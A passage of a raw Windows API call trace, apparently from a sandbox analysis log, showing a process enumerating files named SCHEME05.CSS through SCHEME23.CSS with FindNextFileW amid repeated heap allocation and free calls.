(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafc20 [0077.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.977] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28032000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28032000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1edba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME05.CSS", cAlternateFileName="")) returned 1 [0077.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafc40 [0077.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.978] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28032000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28032000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME06.CSS", cAlternateFileName="")) returned 1 [0077.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafc60 [0077.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a54f0 [0077.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.978] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d1f300, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26d1f300, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ff56, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME07.CSS", cAlternateFileName="")) returned 1 [0077.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafc80 [0077.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a55f8 [0077.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.979] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a0c600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a0c600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME08.CSS", cAlternateFileName="")) returned 1 [0077.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafca0 [0077.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a5700 [0077.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.979] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a0c600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a0c600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20444, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME09.CSS", cAlternateFileName="")) returned 1 [0077.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafcc0 [0077.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a5808 [0077.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.980] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x233e6c00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x233e6c00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x2072a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME10.CSS", cAlternateFileName="")) returned 1 [0077.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafce0 [0077.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a5910 [0077.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.981] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220d3f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x220d3f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20030, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME11.CSS", cAlternateFileName="")) returned 1 [0077.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafd00 [0077.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a5a18 [0077.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.981] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dc1200, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20dc1200, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME12.CSS", cAlternateFileName="")) returned 1 [0077.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafd20 [0077.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a5b20 [0077.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.982] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1faae500, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1faae500, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ec9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME13.CSS", cAlternateFileName="")) returned 1 [0077.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafd40 [0077.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a5c28 [0077.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.982] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1faae500, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1faae500, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME14.CSS", cAlternateFileName="")) returned 1 [0077.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafd60 [0077.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a5d30 [0077.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.983] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e79b800, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e79b800, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e094, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME15.CSS", cAlternateFileName="")) returned 1 [0077.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafd80 [0077.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a5e38 [0077.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.983] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d488b00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d488b00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f822, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME16.CSS", cAlternateFileName="")) returned 1 [0077.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafda0 [0077.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a5f40 [0077.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c175e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c175e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eada, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME17.CSS", cAlternateFileName="")) returned 1 [0077.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafdc0 [0077.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a6048 [0077.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3c40) returned 0xac2ec0 [0077.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0077.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.985] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae63100, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ae63100, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20438, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME18.CSS", cAlternateFileName="")) returned 1 [0077.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafde0 [0077.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a6150 [0077.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.985] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19b50400, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b50400, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME19.CSS", cAlternateFileName="")) returned 1 [0077.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafe00 [0077.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a6258 [0077.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.986] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1883d700, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1883d700, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f6f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME20.CSS", cAlternateFileName="")) returned 1 [0077.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafe20 [0077.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a6360 [0077.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.986] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1752aa00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1752aa00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME21.CSS", cAlternateFileName="")) returned 1 [0077.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafe40 [0077.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a6468 [0077.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.987] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f05000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f05000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fcca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME22.CSS", cAlternateFileName="")) returned 1 [0077.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafe60 [0077.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a6570 [0077.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.988] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bf2300, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13bf2300, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f5fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME23.CSS", cAlternateFileName="")) returned 1 [0077.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafe80 [0077.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a6678 [0077.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.988] FindNextFileW (in: 